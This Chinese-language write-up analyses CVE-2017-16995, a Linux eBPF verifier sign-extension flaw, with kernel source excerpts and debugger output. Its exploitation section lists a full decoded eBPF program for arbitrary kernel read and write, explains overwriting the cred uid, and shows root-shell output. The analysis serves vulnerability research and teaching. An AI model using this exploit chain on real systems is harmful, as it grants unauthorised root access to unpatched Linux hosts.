查看原文
其他

Linux CVE-2017-16995整数扩展问题导致提权漏洞分析

pwnda 看雪学院 2019-05-25


学习内核调试没有很久,如有错误,欢迎指出,本篇文章同步到了我的blog。

 

这个漏洞在2017年底被Google Project Zero团队的Jann Horn发现并修复,然而在2018年4月再次被国外安全研究者Vitaly Nikolenko发现,并可以对特定内核版本的Ubuntu 16.04进行提权,这个漏洞不包含堆栈攻击或者控制流劫持,仅用系统调用数据进行提权,是Data-Oriented Attacks在linux内核上的一个典型应用。

 

本文分析基于v4.4.110,可以从这里下载编译,也可以从这里在线阅读,本文涉及到的代码、镜像等可从这里下载。(进入“阅读原文”即可下载)



EBPF模块分析


之前在做pwnable.tw里的seccomp-tools一题时,曾经看过一部分bpf代码,但主要是为了逆向seccomp沙箱的规则。

 

BPF 的全称是 Berkeley Packet Filter,这是一个用于过滤(filter)网络报文(packet)的架构。Linux中常用的抓包软件tcpdump、wireshark都是基于这个模块来对用户提供抓包的接口的。在linux内核3.15以后,基于原有的BPF模块,Linux重新设计了BPF模块,并称之为extended BPF,简称EBPF。

 

EBPF主要可以为用户加载数据包过滤代码进入内核,并在收到数据包时触发这段代码。

 

一个常见的数据包过滤程序编写如下:


1、调用 syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr))申请一个map结构,这个结构是用户态与内核态交互的一块共享内存。内核态调用BPF_FUNC_map_lookup_elem来查看map中的数据。而用户态通过syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr))查看map中数据,用户可以通过syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr))对map数据进行更新,而map根据linux特性,会将其视为一个文件,并分配一个文件描述符。


2、调用syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr))将用户编写的EBPF代码加载进入内核,此时将完成对代码合法性的检查,采用模拟执行的方法。


3、调用setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)),将步骤2的EBPF代码与特定的socket进行绑定,此后对于每一个socket数据包执行EBPF代码进行检查,此时为真实执行。

static void prep(void) {
   mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
   if (mapfd < 0)
       __exit(strerror(errno));
   puts("mapfd finished");
   progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
           (struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);

   if (progfd < 0)
       __exit(strerror(errno));
   puts("bpf_prog_load finished");
   if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
       __exit(strerror(errno));
   puts("socketpair finished");
   if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
       __exit(strerror(errno));
   puts("setsockopt finished");
}



EBPF指令集介绍


EBPF采用的指令集与内核使用的汇编指令不同,采用了一种基于bpf_insn数据结构的指令集,同时还维护了10个寄存器,一个栈,并且有与用户态交互的map结构。

 

首先是寄存器:

R0:一般用来表示函数返回值,包括整个 BPF 代码块(其实也可被看做一个函数)的返回值;
R1~R5:一般用于表示内核预设函数的参数;
R6~R9:在 BPF 代码中可以作存储用,其值不受内核预设函数影响;
R10:只读,用作栈指针(SP)
可理解对应为物理寄存器为:
   R0rax
   R1 - rdi
   R2 - rsi
   R3 - rdx
   R4 - rcx
   R5 - r8
   R6 - rbx
   R7 - r13
   R8 - r14
   R9 - r15
   R10rbp


但内核寄存器的实现同EBPF模拟的栈一样,仍然依赖于栈上的临时变量,并不是直接映射为寄存器。后续将从代码层面分析。

 

接着是指令:

struct bpf_insn {
   __u8    code;        /* opcode */
   __u8    dst_reg:4;    /* dest register */
   __u8    src_reg:4;    /* source register */
   __s16    off;        /* signed offset */
   __s32    imm;        /* signed immediate constant */
};


熟悉seccomp-tools的同学可能发现,这个结构和seccomp的基本差不多。程序的功能主要取决于code这个字节,代表功能,其中code操作码共有8个比特,其中最低3个比特代表大类功能,从如下代码中看出EBPF共分7类功能,定义如下:

#define BPF_CLASS,
(code) ((code) & 0x07)
#define        BPF_LD        0x00
#define        BPF_LDX        0x01
#define        BPF_ST        0x02
#define        BPF_STX        0x03
#define        BPF_ALU        0x04
#define        BPF_JMP        0x05
#define        BPF_RET        0x06
#define        BPF_MISC    0x07


而对于各大类功能还可以从通过异或组成不同的新功能。具体的操作可以参考实现中的定义名,根据操作名就可以看出来每一种功能的大意了,我写了一个解码编码的小工具放在github连接中,可以用来翻译或者辅助编写EBPF程序。

 

dst_reg代表目的寄存器,限制为0~10,src_reg代表目的寄存器,限制为0~10,off代表地址偏移,imm代表立即数。

 

下面将从代码层面分析EBPF的运行流程。



BPF_MAP_CREATE


这个系统调用首先调用map_create函数,这个函数就是之前分析的bpf模块整数溢出漏洞所在的函数,具体内容可以参照上一篇博客,其核心思想是对申请出一块内存空间,其大小是管理块结构体+attr参数中的size大小,为其分配fd,并将其放入到map队列中,可以用fd号来查找。此部分与本漏洞相关性不大。

 

map_create

/* called via syscall */
static int map_create(union bpf_attr *attr)
{
   struct bpf_map *map;
   int err;

   err = CHECK_ATTR(BPF_MAP_CREATE);
   if (err)
       return -EINVAL;

   /* find map type and init map: hashtable vs rbtree vs bloom vs ... */
   map = find_and_alloc_map(attr);
   if (IS_ERR(map))
       return PTR_ERR(map);

   atomic_set(&map->refcnt, 1);
   atomic_set(&map->usercnt, 1);

   err = bpf_map_charge_memlock(map);
   if (err)
       goto free_map;

   err = bpf_map_new_fd(map);
   if (err < 0)
       /* failed to allocate fd */
       goto free_map;

   return err;

free_map:
   map->ops->map_free(map);
   return err;
}



BPF_PROG_LOAD


这个系统调用用于将用户编写的EBPF规则加载进入内核,其中包含有多处校验。


bpf_prog_load


首先进入bpf_prog_load函数中,首先[1]检查的ebpf license是否为GPL证书的一种,[2]检查指令条数是否超过4096,[3]处利用kmalloc新建了一个bpf_prog结构体,并新建了一个用于存放EBPF程序的内存空间。[4]处将用户态的EBPF程序拷贝到刚申请的内存中。[5]处来判断是哪种过滤模式,其中socket_filter是数据包过滤,而tracing_filter就是对系统调用号及参数的过滤,也就是我们常见的seccomp。最终到达[5]处开始对用户输入的程序进行检查。如果通过检查就将fp中执行函数赋值为 __bpf_prog_run也就是真实执行函数,并尝试JIT加载,否则用中断的方法加载。



bpf_check


下面进入加载的检查逻辑——bpf_check,首先在[1]处将特定指令中的mapfd换成相应的map实际地址,这里需要注意,map实际地址是一个内核地址,有8字节,这样就需要有两条指令的长度来存这个地址,具体可以看下面对这个函数的分析。[2]中借用了程序控制流图的思路来检查这个EBPF程序中是否有死循环和跳转到未初始化的位置,造成无法预期的风险。[3]是实际模拟执行的检测当上述有任一出现问题的检测,是检测的重点。



replace_map_fd_with_map_ptr


replace_map_fd_with_map_ptr函数中,可以看到当满足[1]、[2]两个条件时,即opcode = BPF_LD | BPF_IMM | BPF_DW=0x18,且src_reg = BPF_PSEUDO_MAP_FD =1时,将根据imm的值进行map查找,并将得到的地址分成两部分,分别存储于该条指令和下一条指令的imm部分,与上文所说的占用两条指令是相符的。满足上述两个条件的语句又被命名为BPF_LD_MAP_FD,即把map地址放到寄存器里,该指令写完后,下一条指令应为无意义的填充。



do_check


下面进行check过程中最核心的do_check函数,首先可以看到整个程序处于一个for死循环中,其中维护了一系列寄存器,其寄存器变量定义和初始化如下,可以看到寄存器的值是一个int类型,并且有一个枚举的type变量,type类型包括未定义、位置、立即数、指针等,初始化时会将全部寄存器类型定义为未定义,赋值为0。第十个寄存器定义为栈指针,第一个定义为内容指针。

struct reg_state {
   enum bpf_reg_type type;
   union {
       /* valid when type == CONST_IMM | PTR_TO_STACK */
       int imm;

       /* valid when type == CONST_PTR_TO_MAP | PTR_TO_MAP_VALUE |
        *   PTR_TO_MAP_VALUE_OR_NULL
        */

       struct bpf_map *map_ptr;
   };
};

static void init_reg_state(struct reg_state *regs)
{
   int i;

   for (i = 0; i < MAX_BPF_REG; i++) {
       regs[i].type = NOT_INIT;
       regs[i].imm = 0;
       regs[i].map_ptr = NULL;
   }

   /* frame pointer */
   regs[BPF_REG_FP].type = FRAME_PTR;

   /* 1st arg to a function */
   regs[BPF_REG_1].type = PTR_TO_CTX;
}

/* types of values stored in eBPF registers */
enum bpf_reg_type {
   NOT_INIT = 0,         /* nothing was written into register */
   UNKNOWN_VALUE,         /* reg doesn't contain a valid pointer */
   PTR_TO_CTX,         /* reg points to bpf_context */
   CONST_PTR_TO_MAP,     /* reg points to struct bpf_map */
   PTR_TO_MAP_VALUE,     /* reg points to map element value */
   PTR_TO_MAP_VALUE_OR_NULL,/* points to map elem value or NULL */
   FRAME_PTR,         /* reg == frame_pointer */
   PTR_TO_STACK,         /* reg == frame_pointer + imm */
   CONST_IMM,         /* constant integer value */
};


check函数的处理方式是逐条处理,按照不同的类型分别做check。由于指令比较多,不一样赘述了,下面从两个攻击角度去展示程序是如何检测的。



Q&A1:for循环如何会检查结束并退出


退出指令定义为BPF_EXIT,这个指令属于BPF_JMP大类,可以看到当指令为该条指令的时候会执行一个pop_stack操作,而当这个函数的返回值是负数的时候,用break跳出死循环。否则会用这个作为取值的位置去执行下一条指令。对于这个操作的理解是,当遇到条件跳转的时候,程序会默认执行一个分支,然后将另外一个分支压入stack中,当一个分支执行结束后,去检查另外一个分支,类似于迷宫问题解决里走到思路的退栈操作。


查看一下pop_stack函数,函数中先判断env->head是否为0,如果是就代表没有未检查的路径了。否则将保持的state恢复。

static int pop_stack(struct verifier_env *env, int *prev_insn_idx)
{
   struct verifier_stack_elem *elem;
   int insn_idx;

   if (env->head == NULL)
       return -1;

   memcpy(&env->cur_state, &env->head->st, sizeof(env->cur_state));
   insn_idx = env->head->insn_idx;
   if (prev_insn_idx)
       *prev_insn_idx = env->head->prev_insn_idx;
   elem = env->head->next;
   kfree(env->head);
   env->head = elem;
   env->stack_size--;
   return insn_idx;
}


然后看一下条件分支的处理代码check_cond_jmp_op,我们可以看到这个检查将跳转分成两种,第一种[1]处是JEQ和JNE,并且是比较的值是立即数的情况,此时就判断立即数是不是等于要比较的寄存器,进行直接跳转。第二种[2]处是其他情况,均需把off+1的值压入栈中作为另一条分支。



Q&A2:能否进行直接的内存读写?


内存读写需要用到的指令主要是BPF_LDX_MEM或者BPF_STX_MEM两类。如下,当r7和r8的值可控就可以达到内存任意写,类似于mov dword ptr[r7],r8这样的操作。

STX_MEM_DW(8,7,0x0,0x0)


接下来分析一下ST和LD有哪些限制,check_reg_arg[1]处检查寄存器是否访问寄存器的序号是否超过最大值10,如果是SRC_OP检查是否是未初始化的值。否则检查是否要写的地方是rbp,并将要写的寄存器值置为UNKOWN。然后是check_mem_access检查,该函数会根据读写类型检查dst或src的值是否为栈指针、数据包指针、map指针,否则不允许读写:

else if (class == BPF_LDX) {
           enum bpf_reg_type src_reg_type;

           /* check for reserved fields is already done */

           /* check src operand */
[1]            err = check_reg_arg(regs, insn->src_reg, SRC_OP);
           if (err)
               return err;

[1]            err = check_reg_arg(regs, insn->dst_reg, DST_OP_NO_MARK);
           if (err)
               return err;

           src_reg_type = regs[insn->src_reg].type;

           /* check that memory (src_reg + off) is readable,
            * the state of dst_reg will be updated by this func
            */

[2]            err = check_mem_access(env, insn->src_reg, insn->off,
                          BPF_SIZE(insn->code), BPF_READ,
                          insn->dst_reg);
           if (err)
               return err;

           if (BPF_SIZE(insn->code) != BPF_W) {
               insn_idx++;
               continue;
           }

           if (insn->imm == 0) {
               /* saw a valid insn
                * dst_reg = *(u32 *)(src_reg + off)
                * use reserved 'imm' field to mark this insn
                */

               insn->imm = src_reg_type;

           } else if (src_reg_type != insn->imm &&
                  (src_reg_type == PTR_TO_CTX ||
                   insn->imm == PTR_TO_CTX)) {
               /* ABuser program is trying to use the same insn
                * dst_reg = *(u32*) (src_reg + off)
                * with different pointer types:
                * src_reg == ctx in one branch and
                * src_reg == stack|map in some other branch.
                * Reject it.
                */

               verbose("same insn cannot be used with different pointers\n");
               return -EINVAL;
           }

       } else if (class == BPF_STX) {
           enum bpf_reg_type dst_reg_type;

           if (BPF_MODE(insn->code) == BPF_XADD) {
               err = check_xadd(env, insn);
               if (err)
                   return err;
               insn_idx++;
               continue;
           }

           /* check src1 operand */
[1]            err = check_reg_arg(regs, insn->src_reg, SRC_OP);
           if (err)
               return err;
           /* check src2 operand */
[1]            err = check_reg_arg(regs, insn->dst_reg, SRC_OP);
           if (err)
               return err;

           dst_reg_type = regs[insn->dst_reg].type;

           /* check that memory (dst_reg + off) is writeable */
[2]            err = check_mem_access(env, insn->dst_reg, insn->off,
                          BPF_SIZE(insn->code), BPF_WRITE,
                          insn->src_reg);
           if (err)
               return err;

           if (insn->imm == 0) {
               insn->imm = dst_reg_type;
           } else if (dst_reg_type != insn->imm &&
                  (dst_reg_type == PTR_TO_CTX ||
                   insn->imm == PTR_TO_CTX)) {
               verbose("same insn cannot be used with different pointers\n");
               return -EINVAL;
           }

       }


以上情况,如果采用MOV这样的赋值指令去读写的话,寄存器类型会判定为IMM,而拒绝。另外一种是用BPF_FUNC_map_lookup_elem这样的函数调用返回,再赋给某个寄存器,然后再进行读写。而这种方法会在赋值时被设定为UNKNOWN而拒绝读写。


__bpf_prog_run


以上就是对于加载指令的全部检查,可以看到我们能想到的内存读写方法都是会被检测出来的。真正执行的时候代码在__bpf_prog_run中,其中可以看到所谓的各个寄存器和栈只是这个函数的局部变量:

static unsigned int __bpf_prog_run(void *ctx, const struct bpf_insn *insn)
{
   u64 stack[MAX_BPF_STACK / sizeof(u64)];
   u64 regs[MAX_BPF_REG], tmp;
   static const void *jumptable[256] = {
       [0 ... 255] = &&default_label,
       /* Now overwrite non-defaults ... */


程序维护了一个跳表,根据opcode来进行跳转,而函数中没有任何check,具体实现代码十分简单,就不赘述了。

 

可以发现程序的寄存器变量与check中的寄存器变量不太一样,此时是unsigned long long类型。



漏洞利用


利用整数扩展问题绕过bpf_check


本漏洞的原因是check函数和真正的函数的执行方法不一致导致的,主要问题是二者寄存器值类型不同。先看下面一段EBPF指令:

[0]: ALU_MOV_K(0,9,0x0,0xffffffff)
[1]: JMP_JNE_K(0,9,0x2,0xffffffff)
[2]: ALU64_MOV_K(0,0,0x0,0x0)
[3]: JMP_EXIT(0,0,0x0,0x0)
[4]: ......
    ......


第0条指令是将0xffffffff放入r9寄存器中,当在do_check函数中时,在[1]处会直接将0xffffffff复制给r9,并将type赋值为IMM。在第[1]条指令,比较r9==0xffffffff,相等时就执行[2]、[3],否则跳到[4]。根据前文对退出的分析,这个地方在do_check看来是一个恒等式,不会将另外一条路径压入stack,直接退出。

if (class == BPF_ALU || class == BPF_ALU64) {
           err = check_alu_op(env, insn);
           if (err)
               return err;
       }
static int check_alu_op(struct verifier_env *env, struct bpf_insn *insn)
{
   struct reg_state *regs = env->cur_state.regs;
   u8 opcode = BPF_OP(insn->code);
   int err;

   if (opcode == BPF_END || opcode == BPF_NEG) {
       ... ...
       }

       /* check src operand */
       .......

       /* check dest operand */
       .......

   } else if (opcode == BPF_MOV) {

       if (BPF_SRC(insn->code) == BPF_X) {
           if (insn->imm != 0 || insn->off != 0) {
               verbose("BPF_MOV uses reserved fields\n");
               return -EINVAL;
           }

           /* check src operand */
           err = check_reg_arg(regs, insn->src_reg, SRC_OP);
           if (err)
               return err;
       } else {
           if (insn->src_reg != BPF_REG_0 || insn->off != 0) {
               verbose("BPF_MOV uses reserved fields\n");
               return -EINVAL;
           }
       }

       /* check dest operand */
       err = check_reg_arg(regs, insn->dst_reg, DST_OP);
       if (err)
           return err;

       if (BPF_SRC(insn->code) == BPF_X) {
           if (BPF_CLASS(insn->code) == BPF_ALU64) {
               /* case: R1 = R2
                * copy register state to dest reg
                */

               regs[insn->dst_reg] = regs[insn->src_reg];
           } else {
               if (is_pointer_value(env, insn->src_reg)) {
                   verbose("R%d partial copy of pointer\n",
                       insn->src_reg);
                   return -EACCES;
               }
               regs[insn->dst_reg].type = UNKNOWN_VALUE;
               regs[insn->dst_reg].map_ptr = NULL;
           }
[1]        } else {
           /* case: R = imm
            * remember the value we stored into this reg
            */

           regs[insn->dst_reg].type = CONST_IMM;
           regs[insn->dst_reg].imm = insn->imm;
       }

   } else if (opcode > BPF_END) {
       verbose("invalid BPF_ALU opcode %x\n", opcode);
       return -EINVAL;

   } else {    /* all other ALU ops: and, sub, xor, add, ... */
       ......
   }

   return 0;
}


而在真实执行的过程中,由于寄存器类型不一样,在执行第二条跳转语句时存在问题:

JMP_JNE_K:
   if (DST != IMM) {
       insn += insn->off;
       CONT_JMP;
   }
   CONT;


而翻译成汇编就非常明显了:

0xffffffff81173bad <__bpf_prog_run+1565>    mov    qword ptr [rbp + rax*8 - 0x278], rdi
  0xffffffff81173bb5 <__bpf_prog_run+1573>    movzx  eax, byte ptr [rbx]
  0xffffffff81173bb8 <__bpf_prog_run+1576>    jmp    qword ptr [r12 + rax*8]
   ↓
  0xffffffff81173e7b <__bpf_prog_run+2283>    movzx  eax, byte ptr [rbx + 1]
  0xffffffff81173e7f <__bpf_prog_run+2287>    movsxd rdx, dword ptr [rbx + 4]
0xffffffff81173e83 <__bpf_prog_run+2291>    and    eax, 0xf
  0xffffffff81173e86 <__bpf_prog_run+2294>    cmp    qword ptr [rbp + rax*8 - 0x278], rdx
  0xffffffff81173e8e <__bpf_prog_run+2302>    je     __bpf_prog_run+5036 <0xffffffff8117493c>

  0xffffffff81173e94 <__bpf_prog_run+2308>    movsx  rax, word ptr [rbx + 2]
  0xffffffff81173e99 <__bpf_prog_run+2313>    lea    rbx, [rbx + rax*8 + 8]
  0xffffffff81173e9e <__bpf_prog_run+2318>    movzx  eax, byte ptr [rbx]
─────────────────────────────────────[ STACK ]──────────────────────────────────────
00:0000│ rsp  0xffff88000048fa30 ◂— 0xcc
01:0008│      0xffff88000048fa38 ◂— 0x0
02:0010│      0xffff88000048fa40 —▸ 0xffff88000fabb500 ◂— 0x0
03:0018│      0xffff88000048fa48 —▸ 0xffffffff811afebc (zone_statistics+124) ◂— 0xbec35d5d415c415b
04:0020│      0xffff88000048fa50 ◂— 0x1
05:0028│      0xffff88000048fa58 —▸ 0xffff88000c46e780 ◂— 0x17c
06:0030│      0xffff88000048fa60 —▸ 0xffff88000048fc18 —▸ 0xffff88000048fc70 —▸ 0xffff88000a550f00 ◂— 0x200000001
07:0038│      0xffff88000048fa68 —▸ 0xffff88000048fb30 —▸ 0xffff88000048fc70 —▸ 0xffff88000a550f00 ◂— 0x200000001
───────────────────────────────────[ BACKTRACE ]────────────────────────────────────
► f 0 ffffffff81173e83 __bpf_prog_run+2291
  f 1 ffffffff817272bc sk_filter_trim_cap+108
  f 2 ffffffff817272bc sk_filter_trim_cap+108
  f 3 ffffffff817b824a unix_dgram_sendmsg+586
  f 4 ffffffff817b824a unix_dgram_sendmsg+586
  f 5 ffffffff816f4728 sock_sendmsg+56
  f 6 ffffffff816f4728 sock_sendmsg+56
  f 7 ffffffff816f47c5 sock_write_iter+133
  f 8 ffffffff8120cf59 __vfs_write+201
  f 9 ffffffff8120cf59 __vfs_write+201
  f 10 ffffffff8120d5d9 vfs_write+169
pwndbg> i r rdx
rdx            0xffffffffffffffff    -1
pwndbg> x /gx $rbx+4
0xffffc90000099034:    0x000000b7ffffffff
pwndbg>


可以看到汇编指令被翻译成movsxd,而此时会发生符号扩展,由原来的0xffffffff扩展成0xffffffffffffffff,再次比较的时候二者并不相同,造成了跳转到[4]处执行,从而绕过了对[4]以后EBPF程序的校验。



漏洞利用


当[4]以后的程序不经过check以后,就可以对[4]的内容进行构造了,利用真正执行时无类型就可以达到内存任意读写了。

 

利用本人写的小工具对已有的EBPF程序进行解码,可以看到程序逻辑如下:

[0]: ALU_MOV_K(0,9,0x0,0xffffffff)
[1]: JMP_JNE_K(0,9,0x2,0xffffffff)
[2]: ALU64_MOV_K(0,0,0x0,0x0)
[3]: JMP_EXIT(0,0,0x0,0x0)
[4]: LD_IMM_DW(1,9,0x0,0x3)
[5]: maybe padding
[6]: ALU64_MOV_X(9,1,0x0,0x0)
[7]: ALU64_MOV_X(10,2,0x0,0x0)
[8]: ALU64_ADD_K(0,2,0x0,0xfffffffc)
[9]: ST_MEM_W(0,10,0xfffc,0x0)
[10]: JMP_CALL(0,0,0x0,0x1)
[11]: JMP_JNE_K(0,0,0x1,0x0)
[12]: JMP_EXIT(0,0,0x0,0x0)
[13]: LDX_MEM_DW(0,6,0x0,0x0)
[14]: ALU64_MOV_X(9,1,0x0,0x0)
[15]: ALU64_MOV_X(10,2,0x0,0x0)
[16]: ALU64_ADD_K(0,2,0x0,0xfffffffc)
[17]: ST_MEM_W(0,10,0xfffc,0x1)
[18]: JMP_CALL(0,0,0x0,0x1)
[19]: JMP_JNE_K(0,0,0x1,0x0)
[20]: JMP_EXIT(0,0,0x0,0x0)
[21]: LDX_MEM_DW(0,7,0x0,0x0)
[22]: ALU64_MOV_X(9,1,0x0,0x0)
[23]: ALU64_MOV_X(10,2,0x0,0x0)
[24]: ALU64_ADD_K(0,2,0x0,0xfffffffc)
[25]: ST_MEM_W(0,10,0xfffc,0x2)
[26]: JMP_CALL(0,0,0x0,0x1)
[27]: JMP_JNE_K(0,0,0x1,0x0)
[28]: JMP_EXIT(0,0,0x0,0x0)
[29]: LDX_MEM_DW(0,8,0x0,0x0)
[30]: ALU64_MOV_X(0,2,0x0,0x0)
[31]: ALU64_MOV_K(0,0,0x0,0x0)
[32]: JMP_JNE_K(0,6,0x3,0x0)
[33]: LDX_MEM_DW(7,3,0x0,0x0)
[34]: STX_MEM_DW(3,2,0x0,0x0)
[35]: JMP_EXIT(0,0,0x0,0x0)
[36]: JMP_JNE_K(0,6,0x2,0x1)
[37]: STX_MEM_DW(10,2,0x0,0x0)
[38]: JMP_EXIT(0,0,0x0,0x0)
[39]: STX_MEM_DW(8,7,0x0,0x0)
[40]: JMP_EXIT(0,0,0x0,0x0)


下面对这个程序进行分析:

 

首先,[0]~[3]已经分析过了下面对后续指令进行分析:

 

第[4]~[5]条语句可用由上面的map知识得到,第五条语句是填充语句,当执行完后,会将map的地址存放在r9寄存器中。

 

[6]~[13]语句的类C代码如下,即调用

BPF_FUNC_map_lookup_elem(map_add,idx),并将返回值存到r6寄存器中,

r6=map[0]

[6]: r1=r9
[7]: r2=rbp
[8]: r2 = r2-4
[9]: [rbp+(-4)] = 0 (idx)
[10]: call BPF_FUNC_map_lookup_elem
[11]: if r0== 0:
[12]: exit(0)
[13]: r6=[r0]


[14]~[21]同理,将r7=map[1]。[22]~[29]为r8=map[2],而map的内容可以由用户态传入。

 

最后[30]~[40]分为三个不分,map[0] = 0时,将map[1]地址所指的内容,写到map[3]中,用户态可以通过读map[3]来得到这个值,因此是内存任意读功能。map[0]=1时,将rbp的值写入map[3]中,由此可以泄露内核栈地址。map[0]=2时,将map[3]的值写入map[2]地址中,由此是个内存任意写。

[30]: ALU64_MOV_X(0,2,0x0,0x0) r2=r0
[31]: ALU64_MOV_K(0,0,0x0,0x0) r0=0
[32]: JMP_JNE_K(0,6,0x3,0x0)   if r6!=0 jmpto 36
[33]: LDX_MEM_DW(7,3,0x0,0x0)  r3 = [r7]
[34]: STX_MEM_DW(3,2,0x0,0x0)  [r2]=r3
[35]: JMP_EXIT(0,0,0x0,0x0)    exit(0)
[36]: JMP_JNE_K(0,6,0x2,0x1)   if r6!=1 jmpto 39
[37]: STX_MEM_DW(10,2,0x0,0x0) [r2]=rbp
[38]: JMP_EXIT(0,0,0x0,0x0)    exit(0)
[39]: STX_MEM_DW(8,7,0x0,0x0)  [r7]=r8
[40]: JMP_EXIT(0,0,0x0,0x0)    exit(0)


漏洞利用也非常简单,首先利用2功能读取内核栈地址,这样通过栈地址& ~(0x4000 - 1)可以得到内核线程task_struct的地址,而这个数据结构中的cred指针指向该线程的cred数据块,但是这个偏移会随内核编译的改变而改变,从gdb中看这个结构的方法是:

pwndbg> p &(*(struct task_struct *)0).cred
$2 = (const struct cred **) 0x9b8 <irq_stack_union+2488>


因此,利用0功能可以读出cred的地址,同理找出cred中的uid偏移:

pwndbg> p &(*(struct cred *)0).uid
$3 = (kuid_t *) 0x4 <irq_stack_union+4>


再利用2功能向该地址里写入0,就可以成功提权了。

/ $ id
uid=1000(chal) gid=1000(chal) groups=1000(chal)
/ $ ./upstream44
mapfd finished
bpf_prog_load finished
socketpair finished
setsockopt finished
task_struct = ffff880006d90000
uidptr = ffff8800004313c4
spawning root shell
uid=0(root) gid=0(root) euid=1000(chal) egid=1000(chal) groups=1000(chal)
/ $



相关代码

EXP


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <string.h>
#include <linux/bpf.h>
...

(完整版请阅读原文查看)



ebpf_tool


import sys
opcode = []
for i in range(256):
   opcode.append('invalid opcode')
code = '''
       "\xb4\x09\x00\x00\xff\xff\xff\xff"
       "\x55\x09\x02\x00\xff\xff\xff\xff"
       ...
       
(完整版请阅读原文查看)



参考


  • https://security.tencent.com/index.php/blog/msg/124

  • https://www.ibm.com/developerworks/cn/linux/l-lo-eBPF-history/index.html

  • https://www.jianshu.com/p/75b368f85dc6

  • https://cert.360.cn/report/detail?id=ff28fc8d8cb2b72148c9237612933c11

  • https://xz.aliyun.com/t/2212

  • https://blog.csdn.net/qq_14978113/article/details/80488711

  • https://elixir.bootlin.com/linux/v4.4.110/source/kernel/bpf/syscall.c

  • https://elixir.bootlin.com/linux/v4.4.110/source/kernel/bpf/verifier.c

  • https://elixir.bootlin.com/linux/v4.4.110/source/kernel/bpf/core.c



- End -


看雪ID:pwnda                

https://bbs.pediy.com/user-777876.htm


本文由看雪论坛 pwnda 原创

转载请注明来自看雪社区



热门图书推荐:

立即购买!


(点击图片即可进入)



热门技术文章:        






公众号ID:ikanxue

官方微博:看雪安全

商务合作:wsc@kanxue.com



点击下方“阅读原文”

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存